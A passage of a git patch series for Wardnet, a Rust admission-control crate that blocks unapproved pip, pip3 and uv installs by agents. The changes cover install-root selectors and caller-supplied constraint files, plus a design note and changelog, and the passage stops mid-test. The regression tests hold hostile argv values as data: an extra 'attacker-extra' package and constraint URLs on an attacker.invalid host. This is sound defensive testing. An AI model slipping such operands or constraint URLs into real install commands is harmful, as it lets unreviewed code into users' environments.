quarantine, runtime, identity, egress, or orchestration ownership into Wardnet. +The academic papers are cited and linked rather than vendored in this PR; Wardnet does not infer repository redistribution rights from public availability alone. + ## Traceability | Evidence / requirement | Wardnet control | @@ -38,4 +42,8 @@ Astral Software. (2026). *uv command reference: uv pip install*. https://docs.as National Institute of Standards and Technology. (2025). *Secure Software Development Framework (SSDF) version 1.2: Recommendations for mitigating the risk of software vulnerabilities* (NIST SP 800-218r1, Initial Public Draft). https://csrc.nist.gov/news/2025/draft-ssdf-version-1-2 +Ohm, M., Plate, H., Sykosch, A., & Meier, M. (2020). Backstabber's knife collection: A review of open source software supply chain attacks. In *Detection of intrusions and malware, and vulnerability assessment (DIMVA 2020)* (Lecture Notes in Computer Science, Vol. 12223, pp. 23–43). Springer. https://doi.org/10.1007/978-3-030-52683-2_2 + OWASP GenAI Security Project. (2026, September 1). *OWASP GenAI Security Project unveils 2026 Top 10 for LLM applications, new Agent Control Standard and sponsors as community tops 30,000 members*. https://genai.owasp.org/2026/09/01/owasp-genai-security-project-unveils-2026-top-10-for-llm-applications-new-agent-control-standard-and-sponsors-as-community-tops-30000-members/ + +Torres-Arias, S., Afzali, H., Kuppusamy, T. K., Curtmola, R., & Cappos, J. (2019). in-toto: Providing farm-to-table guarantees for bits and bytes. In *28th USENIX Security Symposium (USENIX Security 19)* (pp. 1393–1410). USENIX Association. https://www.usenix.org/conference/usenixsecurity19/presentation/torres-arias From 1a192a7b4e6ea5b5d5e65aa6e09ac541502740e6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 20:15:52 +0900 Subject: [PATCH 395/702] test(admission): expose pip install-root option-value evidence bug --- .../pip_install_root_option_value_contract.rs | 123 ++++++++++++++++++ 1 file changed, 123 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pip_install_root_option_value_contract.rs diff --git a/crates/agent-artifact-admission/tests/pip_install_root_option_value_contract.rs b/crates/agent-artifact-admission/tests/pip_install_root_option_value_contract.rs new file mode 100644 index 00000000..991a04cc --- /dev/null +++ b/crates/agent-artifact-admission/tests/pip_install_root_option_value_contract.rs @@ -0,0 +1,123 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_pip_install_without_root_override_remains_admissible() { + let (policy, intent) = approved_pip_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn pip_separate_target_value_is_not_misclassified_as_an_artifact() { + let (policy, mut intent) = approved_pip_install(); + intent + .argv + .extend(["--target".to_string(), "/tmp/wardnet-target".to_string()]); + + assert_target_override_is_causally_blocked(&policy, &intent); +} + +#[test] +fn pip_short_target_value_is_not_misclassified_as_an_artifact() { + let (policy, mut intent) = approved_pip_install(); + intent + .argv + .extend(["-t".to_string(), "/tmp/wardnet-target".to_string()]); + + assert_target_override_is_causally_blocked(&policy, &intent); +} + +#[test] +fn pip_target_selector_does_not_hide_a_real_unapproved_artifact_operand() { + let (policy, mut intent) = approved_pip_install(); + intent.argv.extend([ + "attacker-extra==9.9.9".to_string(), + "--target".to_string(), + "/tmp/wardnet-target".to_string(), + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ + ReasonCode::AlternateInstallRoot, + ReasonCode::ArtifactNotApproved, + ], + "only the target option value is consumed; a second package operand remains an artifact-policy violation" + ); +} + +fn assert_target_override_is_causally_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected pip target must remain fail-closed before execution" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot], + "a value consumed by --target/-t is install-root authority, not a second artifact operand" + ); +} + +fn approved_pip_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pip-install-root-option-value".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["pip".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-pip-install-root-option-value".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 3373d7c3b0090f1bccaeec873d81e8916f8c4995 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:00:08 +0900 Subject: [PATCH 396/702] test(admission): isolate pip target causal RED --- .../tests/pip_install_root_option_value_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/pip_install_root_option_value_contract.rs b/crates/agent-artifact-admission/tests/pip_install_root_option_value_contract.rs index 991a04cc..eff978ce 100644 --- a/crates/agent-artifact-admission/tests/pip_install_root_option_value_contract.rs +++ b/crates/agent-artifact-admission/tests/pip_install_root_option_value_contract.rs @@ -109,6 +109,7 @@ fn approved_pip_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From 08fad1d6ddedf1b79ae159781d5aff67d424bab8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:04:37 +0900 Subject: [PATCH 397/702] fix(admission): preserve install-root option value causality --- crates/agent-artifact-admission/src/policy.rs | 183 ++++++++++++++++-- 1 file changed, 172 insertions(+), 11 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index c863f48f..8e1ac05c 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -266,7 +266,7 @@ fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec bool { - executable == "uv" - && arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") - && index - .checked_sub(1) - .and_then(|previous| arguments.get(previous)) - .is_some_and(|argument| matches!(argument.as_str(), "--python" | "-p")) +/// Return whether `arguments[index]` is the separate-token value consumed by a +/// recognized install-root selector for the active supported install grammar. +/// Attached values remain option tokens and are already excluded by the +/// positional-operand filter. +fn is_install_root_selector_value(executable: &str, arguments: &[String], index: usize) -> bool { + let Some(previous) = index + .checked_sub(1) + .and_then(|previous| arguments.get(previous)) + .map(String::as_str) + else { + return false; + }; + + let value_flags: &[&str] = match executable { + "npm" + if arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "install" | "i")) => + { + &["--prefix", "--workspace", "-w", "--location"] + } + "pnpm" + if arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "add" | "install")) => + { + &[ + "--prefix", + "--dir", + "-C", + "--filter", + "-F", + "--filter-prod", + "--location", + ] + } + "yarn" if arguments.first().is_some_and(|argument| argument == "add") => { + &["--prefix", "--location"] + } + "bun" + if arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "add" | "install")) => + { + &["--prefix", "--cwd", "--filter", "-F", "--location"] + } + "pip" | "pip3" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + &["--target", "-t", "--root", "--prefix"] + } + "uv" + if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => + { + &["--target", "-t", "--root", "--prefix", "--python", "-p"] + } + "cargo" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + &["--root", "--config", "--target-dir"] + } + _ => return false, + }; + + value_flags.contains(&previous) } fn artifact_ecosystem_matches_executable(executable: &str, ecosystem: &str) -> bool { @@ -712,3 +774,102 @@ pub fn sha256_hex(input: &[u8]) -> String { } output } + +#[cfg(test)] +mod tests { + use super::is_install_root_selector_value; + + fn strings(values: &[&str]) -> Vec { + values.iter().map(|value| (*value).to_string()).collect() + } + + #[test] + fn install_root_selector_values_are_consumed_only_by_supported_install_grammars() { + let cases: [(&str, Vec<&str>, &[&str]); 8] = [ + ( + "npm", + vec!["install", "pkg"], + &["--prefix", "--workspace", "-w", "--location"], + ), + ( + "pnpm", + vec!["add", "pkg"], + &[ + "--prefix", + "--dir", + "-C", + "--filter", + "-F", + "--filter-prod", + "--location", + ], + ), + ("yarn", vec!["add", "pkg"], &["--prefix", "--location"]), + ( + "bun", + vec!["add", "pkg"], + &["--prefix", "--cwd", "--filter", "-F", "--location"], + ), + ( + "pip", + vec!["install", "pkg"], + &["--target", "-t", "--root", "--prefix"], + ), + ( + "pip3", + vec!["install", "pkg"], + &["--target", "-t", "--root", "--prefix"], + ), + ( + "uv", + vec!["pip", "install", "pkg"], + &["--target", "-t", "--root", "--prefix", "--python", "-p"], + ), + ( + "cargo", + vec!["install", "pkg"], + &["--root", "--config", "--target-dir"], + ), + ]; + + for (executable, prefix, flags) in cases { + for flag in flags { + let mut arguments = prefix.clone(); + arguments.extend([flag, "selector-value"]); + let arguments = strings(&arguments); + let value_index = arguments.len() - 1; + assert!( + is_install_root_selector_value(executable, &arguments, value_index), + "{executable} {flag} must consume its separate selector value" + ); + } + } + } + + #[test] + fn install_root_selector_value_helper_does_not_hide_unknown_or_wrong_grammar_operands() { + let unknown = strings(&["install", "pkg", "--cache-dir", "attacker"]); + assert!(!is_install_root_selector_value( + "pip", + &unknown, + unknown.len() - 1 + )); + + let wrong_command = strings(&["download", "pkg", "--target", "attacker"]); + assert!(!is_install_root_selector_value( + "pip", + &wrong_command, + wrong_command.len() - 1 + )); + + let attached = strings(&["install", "pkg", "--target=/tmp/escape", "attacker"]); + assert!(!is_install_root_selector_value( + "pip", + &attached, + attached.len() - 1 + )); + + let first = strings(&["selector-value"]); + assert!(!is_install_root_selector_value("pip", &first, 0)); + } +} From bb0a2c3d62ac4c60851ce965f7925a1d7cb479a5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:08:12 +0900 Subject: [PATCH 398/702] style(admission): apply rustfmt to selector guard --- crates/agent-artifact-admission/src/policy.rs | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 8e1ac05c..09aad92a 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -339,11 +339,10 @@ fn is_install_root_selector_value(executable: &str, arguments: &[String], index: { &["--target", "-t", "--root", "--prefix"] } - "uv" - if arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") => + "uv" if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => { &["--target", "-t", "--root", "--prefix", "--python", "-p"] } From 3392300a3a04de931436b6c9265930683e6e54d6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:29:53 +0900 Subject: [PATCH 399/702] test(security): reject unreviewed PyPI constraint authority --- .../pypi_constraint_authority_contract.rs | 128 ++++++++++++++++++ 1 file changed, 128 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs new file mode 100644 index 00000000..3656efe2 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs @@ -0,0 +1,128 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn pypi_install_cannot_import_unreviewed_constraint_authority() { + for (executable, flag) in [ + ("pip", "--constraint=https://attacker.invalid/constraints.txt"), + ("pip3", "-chttps://attacker.invalid/constraints.txt"), + ( + "pip", + "--build-constraint=https://attacker.invalid/build-constraints.txt", + ), + ("uv", "--constraint=https://attacker.invalid/constraints.txt"), + ("uv", "--constraints=https://attacker.invalid/constraints.txt"), + ("uv", "-chttps://attacker.invalid/constraints.txt"), + ( + "uv", + "--build-constraint=https://attacker.invalid/build-constraints.txt", + ), + ( + "uv", + "--build-constraints=https://attacker.invalid/build-constraints.txt", + ), + ("uv", "-bhttps://attacker.invalid/build-constraints.txt"), + ] { + let (policy, mut intent) = approved_pypi_install(executable); + intent.argv.push(flag.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {flag} must not let an unreviewed constraints document influence the approved artifact/build identity" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} {flag} must report that the external constraint authority is outside the reviewed artifact set" + ); + } +} + +#[test] +fn direct_exact_pypi_install_without_constraint_authority_remains_allowed() { + for executable in ["pip", "pip3", "uv"] { + let (policy, intent) = approved_pypi_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow, "{executable}"); + assert!(decision.reason_codes.is_empty(), "{executable}"); + } +} + +fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-reviewed-artifact-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + + let mut argv = match executable { + "uv" => vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + _ => vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + }; + argv.push("--require-hashes".to_string()); + argv.push("--no-deps".to_string()); + if matches!(executable, "pip" | "pip3") { + argv.push("--no-input".to_string()); + } + + let intent = InstallIntent { + request_id: format!("req-pypi-constraint-authority-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 083d9dc8e13411b8422eb024986be3efde94a849 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:31:37 +0900 Subject: [PATCH 400/702] test(security): format constraint authority regression --- .../pypi_constraint_authority_contract.rs | 27 +++++++------------ 1 file changed, 9 insertions(+), 18 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs index 3656efe2..afe8bf8d 100644 --- a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs @@ -10,24 +10,15 @@ const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; #[test] fn pypi_install_cannot_import_unreviewed_constraint_authority() { for (executable, flag) in [ - ("pip", "--constraint=https://attacker.invalid/constraints.txt"), - ("pip3", "-chttps://attacker.invalid/constraints.txt"), - ( - "pip", - "--build-constraint=https://attacker.invalid/build-constraints.txt", - ), - ("uv", "--constraint=https://attacker.invalid/constraints.txt"), - ("uv", "--constraints=https://attacker.invalid/constraints.txt"), - ("uv", "-chttps://attacker.invalid/constraints.txt"), - ( - "uv", - "--build-constraint=https://attacker.invalid/build-constraints.txt", - ), - ( - "uv", - "--build-constraints=https://attacker.invalid/build-constraints.txt", - ), - ("uv", "-bhttps://attacker.invalid/build-constraints.txt"), + ("pip", "--constraint=https://x.invalid/c.txt"), + ("pip3", "-chttps://x.invalid/c.txt"), + ("pip", "--build-constraint=https://x.invalid/b.txt"), + ("uv", "--constraint=https://x.invalid/c.txt"), + ("uv", "--constraints=https://x.invalid/c.txt"), + ("uv", "-chttps://x.invalid/c.txt"), + ("uv", "--build-constraint=https://x.invalid/b.txt"), + ("uv", "--build-constraints=https://x.invalid/b.txt"), + ("uv", "-bhttps://x.invalid/b.txt"), ] { let (policy, mut intent) = approved_pypi_install(executable); intent.argv.push(flag.to_string()); From 622e95af9e25f042ef256da0bc4c922a26e3f6f9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:33:27 +0900 Subject: [PATCH 401/702] fix(security): bound PyPI constraint file authority --- .../src/pypi_constraint_authority.rs | 54 +++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_constraint_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_constraint_authority.rs b/crates/agent-artifact-admission/src/pypi_constraint_authority.rs new file mode 100644 index 00000000..4faff34a --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_constraint_authority.rs @@ -0,0 +1,54 @@ +use crate::InstallIntent; + +/// Return whether a direct pip-compatible install imports dependency or build +/// selection from a constraint document that is not represented by the +/// reviewed artifact coordinates. +pub(crate) fn requests_unapproved_pypi_constraint_authority(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + match executable { + "pip" | "pip3" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + arguments.iter().any(|argument| { + matches_short_value_option(argument, "-c") + || matches_long_value_option(argument, "--constraint") + || matches_long_value_option(argument, "--build-constraint") + }) + } + "uv" if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => + { + arguments.iter().any(|argument| { + matches_short_value_option(argument, "-c") + || matches_long_value_option(argument, "--constraint") + || matches_long_value_option(argument, "--constraints") + || matches_short_value_option(argument, "-b") + || matches_long_value_option(argument, "--build-constraint") + || matches_long_value_option(argument, "--build-constraints") + }) + } + _ => false, + } +} + +fn matches_long_value_option(argument: &str, option: &str) -> bool { + argument == option + || argument + .strip_prefix(option) + .is_some_and(|suffix| suffix.starts_with('=')) +} + +fn matches_short_value_option(argument: &str, option: &str) -> bool { + argument == option + || argument + .strip_prefix(option) + .is_some_and(|suffix| !suffix.is_empty()) +} From 40520ac5fb7e35a44ccd269355e025f7ceca7dd9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:33:51 +0900 Subject: [PATCH 402/702] fix(security): enforce reviewed PyPI constraint authority --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index f5ab80e6..9abcdbf7 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -11,6 +11,7 @@ mod http; mod oci_transport; mod policy; mod pypi_cache_directory_authority; +mod pypi_constraint_authority; mod pypi_hash_mode; mod pypi_install_mutation_authority; mod pypi_install_report_authority; @@ -95,6 +96,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_constraint_authority::requests_unapproved_pypi_constraint_authority(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } if pypi_hash_mode::requests_disabled_hash_requirement(intent) { if !decision .reason_codes From 32bd52f51bf8f9400fb973de501c1e0268605a27 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:34:19 +0900 Subject: [PATCH 403/702] docs(security): trace PyPI constraint authority boundary --- docs/doctoring/pypi-constraint-authority.md | 34 +++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 docs/doctoring/pypi-constraint-authority.md diff --git a/docs/doctoring/pypi-constraint-authority.md b/docs/doctoring/pypi-constraint-authority.md new file mode 100644 index 00000000..5d2f81e4 --- /dev/null +++ b/docs/doctoring/pypi-constraint-authority.md @@ -0,0 +1,34 @@ +# PyPI constraint authority + +## Decision + +Wardnet's Agent Artifact Admission boundary rejects caller-supplied constraint documents for direct `pip install`, `pip3 install`, and `uv pip install` requests. The reviewed intent binds an exact artifact set and exact package-source coordinates; a constraint or build-constraint document is an additional dependency/build selection authority that is not represented by those coordinates. + +This applies to pip `-c` / `--constraint` and `--build-constraint`, and to uv `-c` / `--constraint` / `--constraints` plus `-b` / `--build-constraint` / `--build-constraints`. Both separate-value and attached-value spellings fail closed. The stable evidence reason is `artifact_not_approved`. + +Wardnet does not fetch or interpret the constraint document, execute the package manager, authorize network transport, inspect an effective runtime environment, or own build isolation. Those remain downstream executor/quarantine/EgressWeave responsibilities. Admission only decides whether the submitted structured argv stays inside the reviewed artifact authority. + +## Threat and causal evidence + +pip documents constraints as files that influence which requirement version is selected and separately documents build constraints for isolated build dependencies. uv exposes equivalent install-time constraint and build-constraint options; its compatibility documentation also notes that constraints can reference direct URL dependencies. A caller-controlled constraint document can therefore change dependency or build inputs independently of the reviewed artifact coordinate. + +The hostile regression uses attached option values so the value cannot be rejected accidentally as an extra positional artifact. Before the repair, an otherwise admissible exact PyPI intent remained `allow` when supplied with attached constraint/build-constraint authority. The minimum repair classifies only the supported direct pip-compatible install grammars and leaves the control request without constraint authority admissible. + +## Acceptance + +- exact `pip`, `pip3`, and `uv pip install` controls without constraint authority remain admissible when every other invariant holds; +- pip short/long constraint and build-constraint forms fail closed; +- uv singular/plural short/long constraint and build-constraint forms fail closed; +- attached values are covered explicitly so positional-argument counting cannot masquerade as the causal control; +- no environment/config-file discovery is introduced into Wardnet; +- no quarantine, outbound transport, artifact retrieval, or build execution logic is copied into this bounded context. + +## Traceability + +Python Packaging Authority. (2026). *pip install — pip documentation*. https://pip.pypa.io/en/latest/cli/pip_install/ + +Python Packaging Authority. (2026). *User guide: Constraints files and build constraints*. https://pip.pypa.io/en/latest/user_guide/#constraints-files + +Astral Software, Inc. (2026). *uv command reference: uv pip install*. https://docs.astral.sh/uv/reference/cli/#uv-pip-install + +Astral Software, Inc. (2026). *Compatibility with pip*. https://docs.astral.sh/uv/pip/compatibility/ From 8c0c733024fe7fb57e1030e246832b7d7cd20c92 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:34:37 +0900 Subject: [PATCH 404/702] docs(security): record PyPI constraint authority hardening --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a80ee785..00c9bb47 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,6 +11,7 @@ - Bound registry/index package source identity to the reviewed artifact coordinate: npm/pnpm/Yarn/Bun direct package operands must encode the exact reviewed `@`, and pip/pip3/`uv pip install` operands must encode the exact reviewed `==`. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements cannot inherit approval from a different reviewed registry/index coordinate; unsafe policy drift fails closed during service configuration as well as request admission. - Bound Cargo install mutation authority to reviewed policy: caller-supplied `-f` / `--force` overwrite capability and `--no-track` metadata/concurrent-install bypass now fail closed as `artifact_not_approved` because the approved artifact coordinate does not authorize replacing existing binaries or disabling Cargo's install tracking/collision protection. - Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected installer resolution or build variants: pip `--platform`, `--python-version`, `--implementation`, `--abi`, binary/source selectors, build-isolation controls, and `-C` / `--config-settings`, together with the corresponding `uv pip install` target-platform/binary/source/build/backend controls, fail closed as `artifact_not_approved` until policy can bind the selected distribution/build identity explicitly. +- Bound PyPI dependency/build selection authority to the reviewed artifact set: caller-supplied pip `-c` / `--constraint` / `--build-constraint` and uv `-c` / `--constraint` / `--constraints` / `-b` / `--build-constraint` / `--build-constraints` documents fail closed as `artifact_not_approved`, including attached-value spellings that otherwise bypass positional-operand accounting. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. - Bound Podman registry transport, authentication, and image-decryption authority to reviewed policy: false forms of `--tls-verify`, caller-selected `--cert-dir` / `--authfile`, inline `--creds`, and `--decryption-key` key/passphrase material fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. Registry credentials and image-decryption secrets remain separately governed downstream deployment/secret authorities rather than untrusted install argv. @@ -20,4 +21,4 @@ ### Operations - Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, package source-coordinate binding, npm-family transitive dependency-closure denial, Cargo overwrite/tracking authority, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From 256c540e6df9a50325d1dd0d099d51afa1fe41da Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:37:44 +0900 Subject: [PATCH 405/702] test(security): cover PyPI constraint option grammars --- .../pypi_constraint_authority_contract.rs | 41 ++++++++++++------- 1 file changed, 27 insertions(+), 14 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs index afe8bf8d..e5930841 100644 --- a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs @@ -9,33 +9,46 @@ const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; #[test] fn pypi_install_cannot_import_unreviewed_constraint_authority() { - for (executable, flag) in [ - ("pip", "--constraint=https://x.invalid/c.txt"), - ("pip3", "-chttps://x.invalid/c.txt"), - ("pip", "--build-constraint=https://x.invalid/b.txt"), - ("uv", "--constraint=https://x.invalid/c.txt"), - ("uv", "--constraints=https://x.invalid/c.txt"), - ("uv", "-chttps://x.invalid/c.txt"), - ("uv", "--build-constraint=https://x.invalid/b.txt"), - ("uv", "--build-constraints=https://x.invalid/b.txt"), - ("uv", "-bhttps://x.invalid/b.txt"), - ] { + let cases: [(&str, &[&str]); 17] = [ + ("pip", &["--constraint=https://x.invalid/c.txt"]), + ("pip", &["--constraint", "https://x.invalid/c.txt"]), + ("pip3", 